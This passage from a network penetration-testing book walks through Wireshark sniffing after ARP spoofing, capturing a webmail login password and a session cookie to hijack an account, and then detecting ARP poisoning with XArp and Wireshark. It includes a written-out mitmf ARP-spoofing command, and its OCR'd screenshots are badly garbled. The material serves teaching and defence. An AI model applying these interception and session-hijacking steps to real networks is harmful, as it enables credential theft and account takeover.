can perform it with wlan0. But with ARP spoofing, we have to first redirect the traffic. Then
we can use Wireshark. Now, this is just to show what Wireshark is and how it works, and
we just want to stress the idea that Wireshark is not a hacking tool. It's only a program that
allows us to log packets flowing through a certain interface and then analyze these packets.
So, in the next section, we'll see how we can sniff and analyze packets using Wireshark.

Wireshark basics

In the previous section, we saw how to launch Wireshark, and we said that we can open a
file that contains packets that we have already captured, and we can start analyzing them
using Wireshark. In this section, we want to start sniffing packets and then generate some
traffic in our Windows machine, and then we'll see how to analyze these packets using
Wireshark. As we know, we first have to be the MITM to use Wireshark, and then the
traffic that's generated in the Windows machine and is actually flowing through

the eth0 interface, as we saw in the previous section. So, before we start capturing the
packets, we need to go to the options by clicking the cog icon:

File Edit View Go Capture Analyze

Am J@loRE
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We can see all the options we can set, all the interfaces that we have, and we can see the
traffic generated on them, as shown in the following screenshot:

Wireshark - Capture Interfaces [ ]
Input | Qutput = Options
Interface Traffic Link-layer Header Promiscu Snaplen (B) Buffer (
eth0 [N Ethernet default 2
any Linux cooked v default 2
+ Loopback: lo A Ethernet v default 2
nflog S Linux netfilter log messages v default 2
nfqueue _ Raw IPv4 v default 2
usbmonl - DLT-1 v default 2
ushmaon? S DIT -1 i default 2
Cisco remote capture: cisco — Remote capture dependent DLT
Random packel generalor: randpkl I Generator dependent DLT
5SH remote capture: ssh = Remote capture dependent DLT
UDP Listener remote capture: udpdump __ Exported PDUs
1 L]
| Enable promiscucus mode on all interfaces Manage Interfaces...
Capture filter for selected interfaces: | | |Enter a capture filter ... -l Compile BPFs
@ Help % Close i « Start |

The eth0 interface is generating some traffic every now and then because it's coming from
the Windows machine. We can select the interfaces that we want to start capturing on, and
we can actually select more than one interface, and all we have to do is just hold the

Ctrl key and then click the other interface we have. If we go on the Output tab, we have an
option to store the packets:
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Wireshark - Capture Interfaces [ ]

Input | Output | Options
Capture to a permanent file

File: |Leave blank to use a temporary file Browse...
Output format: ‘e pcap-ng pcap

Create a new file automatically after...

Use aring buffer with | 2 ~| files

@ Help * Close I w Start ‘

If we only want to sniff and don't want to analyze things, then we can just go to Browse
and store the packets that we are going to sniff somewhere, and then we can analyze them
whenever we have the time at a different time. We can just open them with Wireshark like
we saw in the previous section. We can just go on File | Open and then open the packets
and start analyzing them.
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Now, we have eth0 selected and we are just going to click on Start, and that'll start
capturing packets. Anything that's going to flow through eth0 will be captured and will be
displayed in Wireshark:

Capturing from ethQ (- B -]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Bf® o XE Qe=>sIwsS=EaaaofF

| M| Apply a display filter . <Ctrl-/> 3 -| Expression.. +

Mo. Time Source Destination Protocol  Length Info
1 6.000060000 -08,2.5 34.199.108.82

5 1.562165576 66 PcsCompu_94: ARP 166

8 1.684691384 68 Realtekl_12:35 ARP 1868 (duplicate use of 18.8.2.1 detected!)
7 4.4747083097 PcsCompu_ @ ARF «15

8 4,475331316 PesCompu_o4d PesCompu_ol ARP 104

9 4.576854287 PcsCompu_8b 286
10 4.579647744 PesCompu_Bb : :66 (duplicate use of 10.0.2.1 detected!)
11 7.65aTa98166 PesCompu_8h PosCompu_84:18:84 ARP 86
12 7.591082868 PcsCompu_8b: Realteku_12:35:00 ARP 166 (duplicate use of 109.8.Z.1 detected!)
13 10.500804343 PesCompu_ob PesCompu_od ARP 166
14 10.684132402 PcsCompu_Bb RealtekU_1 ARP :66 (duplicate use of 10.0.2.1 detected!)
15 13.618884685 PcsCompu_ 8D PcsCompu_ B4 ARF 166
16 13.614867542 PesCompu_6h ! Realteku_1 ! ARP (duplicate use of 18.6.2.1 detected!)
17 16.623270984 PcsCompu_8b:81:66 PcsCompu_84:18:84 ARP
18 16.627707008 PcsCompu_Ob:91:66 RealtekU 12:35:00 ARP 166 (duplicate use of 10.0.2.1 detected!)

Frame 1: 109 bytes on wire (1582 bits), 199 bytes captured (1582 bits) on interface @ -

Ethernet II, Sre: PesCompu 04:18:04 (08:00:27:04:18:04), Dst: PesCompu _Ob:91:66 (08:00:27:00:91:66)

Internet Protocol Version 4, Src: 18.0.2.5, Dst: 34,199,188 82

Transmission Control Protecol, Src Port: 58792, Dst Port: 443, Seq: 1, Ack: 1, Len: 145

Secure Sockets Layer
68 @9 27 6b 91 66 @8 00 27 @4 18 64 08 89 45 00
60 b9 40 Db 40 BO B0 06 1f 16 Oa 00 02 BS 22 ¢7
fc 52 cf Be 61 bb §f 98 13 86 88 44 44 af 58 18
T8 26 80 7c @9 98 17 93 ©3 00 BC 00 09 B9 @9 @9
90 00 27 04 2d 38 6d 6a 1f Td 23 50 2c 62 od 82
d7 d4 70 27 9 6e 21 24 T2 d9 bo 3e 46 d5 e b2
€9 B4 5a 60 1T 4C 23 55 41 Se G4 30 20 bb 54 71
91 f5 cO 28 ob c6 26 60 51 30 1a d7 22 66 7b Th
65 85 4d fb 64 0 27 58 dO de G4 Bb 96 30 aB 43
95 4d d1 S5d 5f d7 c3 6d 4c 01 79 36 Se fd Ba ad
85 92 of A7 9b 85 1e 64 75 2 fe 63 b7 af 24 ac
€2 €6 35 08 B9 BT Ge €9 T2 3C aa TS 92 5¢ a® 18
80 fd 69 48 3c 3c Oe

Anything (we mean images, pictures, messages, cookies) that that computer does on the
internet will flow through eth0, and therefore will be captured by Wireshark. It's not like
MITMf, which was only showing us the important information. In Wireshark, we will see
everything, all the traffic that's generated. So, let's first of all generate some traffic and try to
analyze the packets, or the traffic that we generated.
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In the main interface of Wireshark, as shown in the following screenshot, we can see that
each record is a packet:

Capturing from eth0 e e 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Bad@® Db X[G &« Jew &= @ a aff
R |Apply a display filter _. <Ctrl-f» = - Expregsbnm +
No. Time Source Drestination Protecol Length Info
27227 3835 473181478 62.175.23.7% 16.6.2.5 TLSv1.2 92 Application Data
27229 3835.519948360 10.9.2.5 52.175.23.79 TCP 60 58975 ~ 443 [ACK] Seq=1403 ACk=6650 Win=63431 Len=g
27231 3835.571342816  52.175.23.79 19.9.2.5 TL3v1.2 96 Application Data
27233 3835.613790165 10.0.2.5 52.175.23.79 TCP 68 58075 - 443 [ACK] Seq=1483 Ack=66862 Win=63389 Len=@
27235 3835 614456458 52.175.23.79 10.6.2.5 TLSV1. 2 499 Application Data -
27237 3835.660875415 10.9.2.5 52.175.23.79 TCP 60 58975 ~ 443 [ACK] Seq=1403 Ack=7137 Win=62944 Len=9
27239 3836.1686/38093 PcsCompu_Ub:91:66 PcsCompu_@4:18:94 ARP 56 19.9.2.1 15 at 98:99:2/:9D:91:66
27240 3836.173194206 PcsCompu_0b:91:66 RealtekU_12:35:00 ARP 56 10.0.2.5 1s at 08:00:27:00:91:66 (duplicate use of 10.0.2.1 detected!)
27241 3829.1801TB940 PcsCompu_6b:D1:66 PosCompu_84:18:84 ARP 56 16.0.2.1 is at ©08:00:27:60b:91:66
27242 3839.192362758 PcsCompu 8D:91:66 Realtekyu 12:35:88 ARP 56 18.8.2.5 15 at 98:88:27:80:91:66 (duplicate use of 18.8.2.1 detected!)
‘ 0
+ Frame 271@4: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
+ Ethernet II, Src: PesCompu_Ob:01:66 (08:00:27:0p:91:66), Dst: Realtekl_12:35:00 (52:54:00:12:35:00)
¢+ Internet Protecol Version 4, Src: 10.8.2.5, Dst: 192.1688.1808.60
+ Transmission Control Protocol, Src Port: 58973, Dst Port: 7686, Seq: 1, Ack: 1, Len: @
52 54 60 12 35 09 08 80 27 ©b 91 66 68 80 45 88  RT..S..
00 28 29 3e 40 00 7f 06 al ad Oa 00 02 05 cO ad (). . he s
€4 3c o 1d 1¢ B8 54 f@ bb 8e 88 A3 bd c2 58 18 [P PR
fafede 6 @@ee ...

We can see the columns. First of all is the No. column for packet numbering. In the Time
column, we will see the time that this packet was captured. The time increases as we go
down, and it shows when these packets were captured. We can also see the Source column,
which indicates which device the packet was sent from. The Destination column shows the
receiving device IP. The Protocol column shows the name of the protocol used by the
packet. In the Length column we can see the length, which is the size. We can also see more
information about the packet in the Info column:

Protstol Length Info
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We can also see that packets have different colors. Usually, green is TCP packets and dark
blue is DNS packets. Light blue is usually UDP, but we don't have any UDP packets at the
moment, and we can also see we have some black packets, and these are TCP packets that
had issues. If we double-click on any of the packets, it will display more information for us.
It's the same information that's being displayed at the bottom of the main interface. We can
see in the following screenshot that we have the Frame, the Ethernet, the Internet Protocol,
and the Transmission Control Protocol, and using that we can just click on the arrow and
see more information that's stored in here. Now, if we just double-click the packet, we will
get the exact same information and we will be able to get information about the packet that
we have selected:

» Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 8
» Ethernet II, Src: PesSyste _27:06:d4 (6B:00:27:27:06:d4), Dst: PesSyste_d5:64:d7 (68:00:27:d5:6d:47)
» Intermet Protocol Version 4, Src: 216.58.211.174, Dst: 18.26.14.286
» Transmission Control Protocel, Src Port: B8, Dst Port: 40737, Seq: 1, Ack: 1, Len: @
Source Port: B0
Destination Port: 48737
k [Stream index: 8]

[TCP Segment Len: @]
Sequence number: 1 (relative sequenceé number)
Acknowledgment number: 1 (relative ack numbar)
Header Length: 20 bytes
» Flags: 8x011 (FIN, ACK)
Window size value: 237
g8 60 27 45 6d d7 08 g8 27 27 06 d4 08 o0g 45 60 TR PRI e
@0 28 d3 43 40 00 40 @6 a2 cl d8 3a d3 ae Oa 14 {.ci8.8
BO20 Qe ce QO 5O c2 49 @e 51 b6 4d 82 2f 2b 26 FF 11 L B BT

G@edcdeSEEOBRE L.

Now, most of the traffic that we have generated was HTTP traffic, so to get rid of all this
information that's hard for us to read we're just going to type HTTP in the filters, and hit
Enter. As we can see, that filtered all the packets to HTTP traffic. So, for example, we have a
POST request sent from our target computer to a server. We still don't know what that
server is, but it's a server on the internet. When we double-click that, we'll get more
information about this packet. We're going to make this smaller here. So, under Frame we
can see the interface that's used. We can see information about the packet itself. In Ethernet
II, as we can see in the following screenshot, is the information about the Destination and
the Source, so we can see that the MAC address is used. In the Internet Protocol, we will see
information such as the geolocation of the target, wherein we will see where that packet is
sent. In the Transmission, we can see information about the ports used:
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= Frame 123: 1444 bytee on wire (11552 bite), 1444 bytes captured (11552 bite) on interface 0

Type: IFva
» Internet Protocol Version 4. Src: 10.20.14.206. Dst: 204.79.197.200
» Transmission Control Protocel, Src Port: 40746, Dst Port: 80, Seq: 1, Ack: 1, Len: 1300
3 Fort: 49745

5

[ ACK. ar 5]
» Hypertext Transfer Pratocol

Now, a really interesting part for us is the Hypertext Transfer Protocol, as this is where we
really see the interesting information. In here, we can see that the request was sent to
bing.com, and we will see that this request was searching for www, and we can see that the
Content Type was text. So, we can get this information, as we can see in the following
screenshot, about each packet that's sent, and can see that Wireshark logs everything that
happens. It doesn't only show the interesting information, it literally logs everything. It
contains the interesting stuff plus much more:

< Hypertext Transfer Protocol
. /fd/1s/1sp. aspx HTTP/1.15Nr\n

p oSl Bing com/fd/ls/lsp aspx]

+ extensible Markup Language

So, again, we can see all the searches that we did. We can see all the URLs that the user has
entered so far. If we scroll down, we will be able to see all the other URLSs that we visited.

[165 ]



Man-in-the-Middle Attacks Chapter 8

Wireshark filters

In this section, we'll see how to use more Wireshark filters and capture a username and a
password, and we'll also see how to see the cookies of a person if they're already logged
into a service and they haven't entered their username and password. So, we are going to
start a new capture. We will just go to Hotmail, and we are going to log in with a username,
which is zaid@hotmail . com, and then we'll enter the password, which is going to be a
random password that's going to be captured. So, we're going to enter 123456, and hit
Enter. When we go to the Wireshark tool, we will see it has managed to capture the traffic,
as we can see in the following screenshot. In the traffic we are going to look for HTTP, and
we're going to look for POST requests:

We see a POST request, sent from the target computer to the server. We are going to open it
and see what's inside it. We will scan through such captures to see which session has our
username and passwords.
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We will open all the HTTPS URLSs, and also one that has a POST request. In the following
screenshot, we have found the session that has captured our login credentials. We have go
to HTML form to see them. We have the login session captured, which is
zaid@hotmail.com, so this is what we entered, and you can also see the password that
was sent, 123456:

“Wireshark - Packet 1208 - wireshark_eth0_20161223104450_ 2unb0OZ ® 0 0

= Frame 1208: 2328 bytes on wire (18024 bats), 2328 bytes captured (18624 bits) on interface ©

» Ethernet 1T, Src: PeaSyste_dS:64:d7 (0R:00:27:d5:6d:d7), Dst: PraSyste_27:06:d4 (AB:00:27:27:06:d4)
» Inkernet Protocol version 4, Src: 16.20.14.200, Dst: 131.233.01.80

» Trangmission Control Protocol, Src Port: 51115, Det Port: 80, Seq: 1, Ack: 1, Len: 2374
T Transfer Froco

Host: login.live cam\rin
User-Agent: Mozillas5.0 (wWindows NT 10.0;, WOWG4, rv:48.0) Oecko/20100101 Firefox/48.0\r'n
Accept: text/html application/shtmlexml application/wml:q=0.0, %/*:q=0 8\r\n

Accept-Language: en-US,en,q=0.3%r\n

Accept-Encoding: gzip, deflater\n

Referer: hoep://login.live.com/login.sri*waswslgninl. BErpSNV=134C T=14825079124MvVer=0. 4. 6450 . DEWD =M1 SSL_SHAREDSWreply=nTIDS |RFmZFmall. live. comzFde fault. aspxss
» Cockie: MSPRequ=lt=140250791381d=648558c0=1~; CkTot=01482507914632; wlidperf=FR=LAST=1482507935528Nr\n

Connaction: kesp-alive\r\n

Upgrade-Insecure-Requests: 1hr'n

Content-Type: application/s-www-farm-urlencadedirin
» CONTENT-LENQTN: 1299\ri\n

\rin

J[.F.T% Fl‘ [EQUES E,.l-i!}i TJ.Z.LE',".(.G.‘;!.U.J |L_NLEp //login Live com/ppsecyre/post srimwa=wiigninl ORrpsnv=136CT=1482507912Rrver=0.4 6450, Ofwp=MA] 55| _SHAREDEwreply=h{Lps N2FXoFe

L reques
File Data: 1299 by
» HTML Form URL Enco : application/x-wew- form-urlencoded

» FOrM 1TEM: "113" = "g°
* Form 1tem: " = "zai
» Form 1tem: " X
* Form item; “
= Form item: " pt
» Form item; "passwd” = "123436"
= Form item: "pg" = "2"
» FOrm LTEM: "DSRNGCSLK" = "
= Form item: " . 2
» Form item: *
* Form item; “
= Form item: "PPSX" =
* FOrm 1TEM: "Newuser"
» Form item: "FoundMSAs
= Form 1tem: "fspost” =
* Form item; “121" =

.b' m— ol
No. 1238 Time 43832633404  Source: 10.10.14 204 - Deviration 131 7336180 - Prosocol HTTP - Lengeh 2328 - info..: fTTPLL
[ S ] s

dihogmail. con®
aradhormall con”

DXMp30°WpB0n9* Zndv30F Y TRgCwWFhv1u105e 9vyOFIR4DES | SZ2cWo vG3] “wd * L0O fhn3bMeAT40akwhH1ns AMFY g LQPwE Twi4ZRWOZHO Jwy f1vucOUBIQ150qBaL ) 20F IFKv1Zo T
Passpor”

So, again, MITMf was sniffing all the data for us, and it was showing the information. It
was filtering the important information. We can see that we can capture anything that's sent
on the network using Wireshark.
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Another thing that we can do is search through the whole packets. We can just go to

the Edit option and then select Find Packet, and we can search in the packet list, or in the
packet details. If we search in the packet details, we're going to keep this Narrow & Wide,
and we will get a string. We can actually put in a display filter if we want, but we are
searching for a string, which is just the normal text. If we search for zaid it'll actually go
straight to the packet that contains our username. Again, when we find it we can double-
click it, whichever is easier for us. We can see in the following screenshot that we managed
to capture the username, which is zaid@hotmail . com:

ww Go O Anslyre Sunstics Telephony Weless Tooh  Melp
co snRElleryced cBuooul

Packet detads » Narrow & Wide v [ Cave sensitve Steing v ad Find Cancel
Mo Time Source Proiocol  Leng info

Now, we can do Find Next and we will get the next one, which actually has our password
in it. Again, the search right here is really useful function that will allow us to navigate
through all of these packets and find what we are looking for.
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Now, let's start a new capture and see if we can actually capture the cookies. So, we are
going to go to our Windows machine, and then we will go to Dailymotion, which we
already logged into before. As we can see, it's not asking me to log in because we are
already logged in, and it already has a name here, so we are just going to go to this channel.
It's just a fake channel that we created. We go to Wireshark and stop the capture,

and instead of HTTP we are going to look for http.cookie:

» Frame 7388: 2417 byles on wire (19330 bits), 2417 bytes captured (19338 bits) on interface O

= Ethernet I1, Src: PceSyste_27:06:d4 (08:00:27:27:06:d4), Dst: RealtekU_12:35:00 (52:54:00:12:35:00)

= Internec Frococol version 4, Src: 10.20.14.213, DsC: 37.252.172.12

= Transmission Control Protocol, Src Pork: 44008, Dst Port: 80, Seq: 1, Ack: 1, Len: 2363

v MyDErrexr Transfer Frotocol
q

aQoe IFENLmyYuLyo faXBATra7QjuPL- Qe 0 BkewAAaIG

So if we go down, the person got to their home page, which is the username, the fake
username that we had. Now, if we go to the POST request before that and look at the
hypertext, we can see the cookie that was sent to authenticate that person. We can just
download a plugin for our browser and inject these cookies into that browser. We will be
able to log in to that username, to that account, without using the password, the same way
as the user. This is the same as we did with ferret and hamster. Again, we are just doing
this to see that Wireshark can be used to do all of the attacks that we did before, plus much
more, because basically, it can capture anything that flows through our device. Any request
sent or received to or from the target computers will flow through our interface, and then
Wireshark will capture anything. Regardless of whether it thinks it's important or not, it's
going to capture everything, so it's a really, really handy and useful tool.
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Summary

The first section of the chapter was about the MITM framework, which can be used for one
of the most powerful attacks we can perform on a network. We performed a MITM attack
using arpspoof, we bypassed HTTPS, we indulged in session hijacking, we looked at DNS-
spoofing, we saw keyloggers, and we covered code injection.

Later, we learned about the Wireshark tool, which is a very effective tool for gathering
information about clients by analyzing the packets that are sent in and out through a
particular target. It lets users decode the information it carries. We learned the basics of
how to use it, and we also learned how to apply and analyze a few filters.

The next chapter covers the ARP poisoning attack, as well as how to detect and prevent this
attack. We will be using Wireshark for detection.
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Detection, and Security

In this chapter, we are going to learn about how to detect ARP poisoning; to do that, we
will first look at what ARP poisoning is, how to perform the attack ourselves, and then how
to detect it. This chapter also cover how to detect suspicious behavior for which we will be
using the Wireshark tool.

To sum up, in this chapter, we will cover the following topics:

e Detecting ARP poisoning
e Detecting suspicious behavior
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Detecting ARP poisoning

Let's take a look at how to detect ARP poisoning attacks. First of all, we need to gain an
understanding of the ARP table. On our Windows device, which is the device that we
always attack, we are going to run the arp -a command to list all the entries in the ARP
table. Each computer has an ARP table, and that table associates IP addresses with MAC
addresses. We have the IP address of a router, which is 10.0.2.1 and is associated with
the MAC address 52-54-00-12-35-00, as shown in the following screenshot:

ARP poisoning works via trusted requests; as you can see in the previous screenshot, when
a request is trusted, responses are accepted by the client even if a request isn't actually sent.
The hacker sends a response to the client telling them that they are the router, which is
automatically trusted and then accepted. Hacker will now send another response to the
router, telling it that we're the client. This will modify the entries in the ARP tables for both
the router and the client, associating the hacker's MAC address with the router's IP address.
In other words, the router's MAC address is now the attacker's MAC address. By doing
this, the hacker will be able to read, analyze, and modify any packets flowing through the
device, as shown in the following diagram:

)
)

S |
S
y
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We'll now run a normal ARP poisoning attack from Kali machine. Following is the
command:

mitmf —--arp —--spoof —--gateway 10.0.2.1 --target 10.0.2.5 -i ethO

When we return and execute the same command as earlier, arp —a, we should see a
different MAC address, as illustrated in the following screenshot:

™ —h

[a

o

=+ WM

The MAC address for the router used to be 52-54-00-12-35-00 but that has since
changed to 08-00-27-0b-91-66, the MAC address of the network card the attacker is
using.

If we run i fconfig eth0 on Kali machine, we will get the same MAC address, as shown
in the previous screenshot:

ethe:

135188 bytes
dropped @ ov

This is the simplest way to detect ARP poisoning attacks but not the most efficient. To save
time, it is recommend to use a tool called XArp, which performs the i fconfig command
for us. XArp is available on Linux and Windows and can be downloaded from the web.
When XArp stops an attack, the altered IP address is reverted back to the original value; in
this case, the router's MAC address returns to the default address.
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Running XArp triggers a similar process to the arp -a command, as shown in the
following screenshot:

B xarp - unregistered version == O X
File XArp Professional Help
W Status: no ARP attacks Security level set to: basic
[ agaressive The basic security level operates a
® FRead the 'Handling ARP attads' help d;: gﬂasfgc? gﬁesc;zr;:?da:etgdﬁ
o View XArp logfile high This is the suggested level for default
environments.
basic
Get XArp Professional now!
Register XArp Professional e
! IP ! MAC ! Host !‘u’endor ! Interface ! Online | Cache | First seen
% 10021 52-54-00-12-35-00 10.0.2.1 Realtek (uptec.. 09 - Intel(R) P.. wnkno.. yes T112/2018 03:X(
W 10022 52-54-00-12-35-00 10.0.2.2 Realtek (uptec... 09 - Intel(R) P.. unkno.. yes 71272018 03:2(
% 10.0.23 08-00-27-598-3c-09 10.0.2.3 Cadmus Com... 0x9 - Intel(R) P... unkno... yes T12/2018 03:2(
w 10,025 08-00-27-04-18-04 MSEDGEWINTD  Cadmus Com..  0x9 - Intel(R) P... unkne.. no T/12/2018 03:2(
w  10.0.2.15 08-00-27-0b-91-66 10.0.2.15 Cadmus Com... 09 - Intel(R) P... unkno.. yes 7/12/2018 03:2(
£ >
KArp 2.2.2 - Smappings - 1interface - 0 alerts 4

As we can see in the previous screenshot, the XArp tool has provided us with an IP address
and the MAC address associated with it. The tool will then automatically monitor these
values, notifying the user of any changes or duplicates.
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If we run an ARP poisoning attack similar to the one we did earlier, XArp should display
an alert, as shown in the following screenshot:

Ok

Alert 1of 1

7/12/2018 03:23:18

ChangeFilter: MAC address for IP 10.0.2.1
changed from 52-54-00-12-35-00 to
05-00-27-0b-91-66

Interface : 0x5

[ethernet]

source mac: 08-00-27-0b-51-G&
dest mac : 08-00-27-04-18-04
type : 0=x=BO0&

[arp]

direction : in

type : reply

source ip - 1l0.0_2_1

dest ip > 10.0.2_5

source mac: 08-00-27-0b-51-g&
dest mac : 08-00-27-04-18-04

The notification will convey a message that the MAC address for IP changed from
52-54-00-12-35-00 to 08-00-27-0b-91-66.
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Once we click OK, we can see that the affected machines are the router, our Windows
machine, and our attacker Kali machine as shown in the following screenshot:

B 2rp - unregistered version - O X
File XArp Professional  Help
x Status: ARP attacks detected! Security level set to: basic
» View detected attacks agaressive The basic security |E\-:E| operates a
# Read the Handling ARP attacks' help gf;—?g: Eft‘: cfzﬁe:;?%::f:eﬂml
& View XArp logfile high This is the suggested level for default
environments.
basic
Get XArp Professional now!
Reqister XArp Professional e
| IP | MAC I Host |Vendor I Interface | Online I Cache | First seen
x 10.0.2.1 08-00-27-0b-91-66 10.0.2.1 Cadmus Com...  0x9 - Intel(R) P... unkno... yes 771272018 03:2(
W 10022 52-54-00-12-33-00 10.0.2.2 Realtek (uptec.. 08 - Intel(R) P... unkno.. yes 771272018 03:2(
w 10023 08-00-27-98-3c-09 10.0.23 Cadmus Com...  0x9 - Intel(R) P...  unkno.. yes 71272018 03:2(
¥ w025 08-00-27-04-18-04 MSEDGEWINTD  Cadmus Com...  0x8 - Intel(R) P... unkno.. no 71272018 03:2(
& 100215 08-00-27-0b-91-66 10.0.2.15 Cadmus Com... 0«9 - Intel(R) P... unkno.. yes 7/12/2018 03:2(
< >
KArp?..E.E - 3 mappings - 1interface - 1alert

The preceding screenshot tells us that the machine at 10.0.2.15 is trying to perform an
ARP poisoning attack because that's the value the router's MAC address has changed to.

As we can see, the XArp tool is really handy because not only does it automatically monitor
your machine, it also tell you when someone is trying to ARP poison your network.
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Detecting suspicious behavior

We will now look at how to use Wireshark to find suspicious activity within our network.

Before we go any further, we need to change a few settings inside Wireshark; go to Edit
| Preferences... under Protocols, find ARP/RARP and enable the option to Detect ARP

request storms:

AlM

AJP13

ALC

ALCAP
AllJoyn ARDF
Allloyn N5
AMOP

AMR

AMS

AMT

ANCP

ANSI BSMAP
ANSI MAP
ANSI_TCAP
AODV

AOL

APRS

AR Drone
Armagetronz
ARP/RARP
Artemis
ARTMET
ARUBA_ERM

ASAP
< b J

M Wireshark - Preferences

Address Resolution Protocol
I Detect ARP request storms I

Mumber of reguests to detect during period |30

Detection period (in ms) | 100

Detect duplicate IP address configuration
Register network address mappings

Cancel

Help
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This will notify us if anybody is trying to discover any devices on the network. Click on OK
and begin starting the capture by clicking on Capture | Start:

‘ Wireshark

File Edit View Go @ Capture Analyze Statistics Telephony

d = ® @ Options... Ctrl+K =
| |~.:: v a display fiter . <| il Start Cl+E | [ |
B Stop Ctrl+E
Restart Ctrl+R
Welco

Capture Filters...
Capti Refresh Interfaces F3

Now we need to switch to the Kali machine and use netdiscover. Instead of ARP

poisoning, we are trying to discover what devices are connected to network. This is done
by launching the following command:

netdiscover -i eth0 -r 10.0.2.1/24

Once we have launched the netdiscover command, it quickly discovered the available
devices on the network:

:~# netdiscover -1 eth® -r 10.8.2.1/24

Currently scanning: Finished! | Screen View: Unique Hosts

own vendo
emtechnik GmbH
stemtechnik GmbH

Wireshark will then generate packets that include the name of a device, what its destination
is, and what it's inquiring from each IP address, as shown in the following screenshot:
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d Capturing from Ethernet

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
md® RE Re2=2q (| aAaQaH

(N |App|‘f a display filter ... <Ctrl-/=

Mo. Time: Source Destination Protocol  Length Info
43887 344.081758 PcsCompu_@b:91:66 Broadcast ARP 6@ Who has 18.9.2.2292 Tell 10.0.2.67
43305 344.083388 PcsCompu_8b:91:66 Broadcast ARP 66 Who has 10.8.2.236? Tell 10.0.2.67
43389 344.084918 PcsCompu_8b:91:66 Broadcast ARP 66 Who has 18.8.2.2312 Tell 16.0.2.67
43818 344,086891 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 19.9.2.2322 Tell 10.6.2.67
43811 344.088001 PcsCompu_8b:91:66 Broadcast ARP 66 Who has 10.8.2.233? Tell 10.06.2.67
43812 344.889833 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 18.8.2.2342 Tell 10.0.2.67
43813 344.890886 PcsCompu_@b:91:66 Broadcast ARP 6@ Who has 10.0.2.235? Tell 10.0.2.67
43814 344.892284 PcsCompu_8b:91:66 Broadcast ARP 66 Who has 10.8.2.236? Tell 16.86.2.67
43815 344.893804 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 18.8.2.2372 Tell 108.6.2.67
43816 344.094792 PcsCompu_@b:91:66 Broadcast ARP 6@ Who has 18.8.2.238? Tell 10.0.2.67
43817 344.095386 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 10.8.2.2392 Tell 16.0.2.67
43818 344.097794 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 10.8.2.248?2 Tell 10.0.2.67
43319 344.098446 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 10.8.2.241? Tell 16.6.2.67
43320 344.099371 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 18.8.2.242? Tell 10.8.2.67
43821 344.1808980 PcsCompu_@8b:91:66 Broadcast ARP 6@ Who has 18.0.2.243? Tell 10.0.2.67
43822 344.102492 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 10.8.2.244? Tell 16.6.2.67
43823 344.104354 PcsCompu_8b:91:66 Broadcast ARP 6@ Who has 10.8.2.245? Tell 16.0.2.67
Frame 43536: 6@ bytes on wire (480 bits), 60 bytes captured (480 bits) on interface @
Ethernet II, Src: RealtekU 12:35:00 (52:54:90:12:35:80), Dst: PcsCompu ©4:18:04 (98:00:27:84:18:64)

Internet Protocol Version 4, Src: 52.114.7.36, Dst: 10.8.2.5
Transmission Control Protocol, Src Port: 443, Dst Port: 49770, Seq: 3839, Ack: 2798, Len: @

As the results show, a device is checking to see whether any possible IP in a particular
range exists. The device is asking for responses to be sent to 10.0.2. 67, so it's safe to
deduce that whoever is trying to discover our connected devices has the IP address
10.0.2.67.

If we go to Analyze | Expert Information, you'll see that an ARP packet storm has been

detected:

,‘ Wireshark . Expert Information - wireshark_71017424-0077-4243-8447-46BCC231030A_2018071220... — a x
SE\JEI’ityV Sumrmary Group Protocol Count
v Mote ARP packet storm detected (30 packets in < 100 ms) Sequence ARP/RARP

5560 Who has 10.0.2.317 Tell 10.0.2.67 Sequence ARP/RARP
5594 Who has 10.0.2.627 Tell 10.0.2.67 Sequence ARP/RARP
5627 Who has 10.0.2.937 Tell 10.0.2.67 Sequence ARP/RARP
5659 Who has 10.0.2.1247 Tell 10.0.2.67 Sequence ARP/RARP
5690 Who has 10.0.2.1557 Tell 10.0.2.67 Sequence ARP/RARP
5729 Who has 10.0.2,1867 Tell 10.0.2.67 Sequence ARP/RARP
5780 Who has 10.0.2.2177 Tell 10.0.2.67 Sequence ARP/RARP
5832 Who has 10.0.2.2487 Tell 10.0.2.67 Sequence ARP/RARP

[179]




Network Penetration Testing, Detection, and Security Chapter 9

This means that there is a single device sending a large number of ARP packets, more than
likely with the aim of finding connected devices and ports.

We are now going to perform an ARP poisoning attack using a man-in-the-middle
framework in order to see if we get any notifications or warnings in Wireshark. If we go

to Analyze | Expert Information again, a warning telling us that a duplicate IP address has
been configured should appear:

‘ Wireshark - Expert Information - wireshark_71017424-0977-4248-8447-46BCC23105D4_20128071220... s O h4
Sexrerity" Sumrary Group Protocol Count
v Warning Duplicate IP address configured (10.0.2.1) Sequence ARP/RARP

44169 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44109 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44110 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
4411 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44113 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44150 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP

This means the IP address of the router has two different MAC addresses, which indicates
that someone is tampering with the connections and trying to place themselves in the
middle using an ARP poisoning attack.

Now that we've explored a number of ways to detect ARP poisoning, let's discuss how we
can prevent those attacks and protect ourselves from them. Running the arp -a command
will generate the following table:

s
s
5
s
5
s
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As you can see in the previous screenshot, the arp -a command monitors our network and
will notify us of, or even prevent, any ARP poisoning attacks. Another way of doing this is
utilizing the dynamic entries seen in the router's table. A dynamic type is essentially a
physical address that the system will allow to be changed. In the previous screenshot, those
values are static, which means the values cannot be changed. Although using static ARP
tables means that configuring each IP address, ARP table, and MAC address manually, the
system will refuse any outside attempts to change those values.

The static solution is not very efficient when used in a big company or firm, but is an ideal
solution for small companies where values are more likely to be configured. If a table is set
up so that it's fixed and not dynamic, any ARP poisoning attack should fail.

Summary

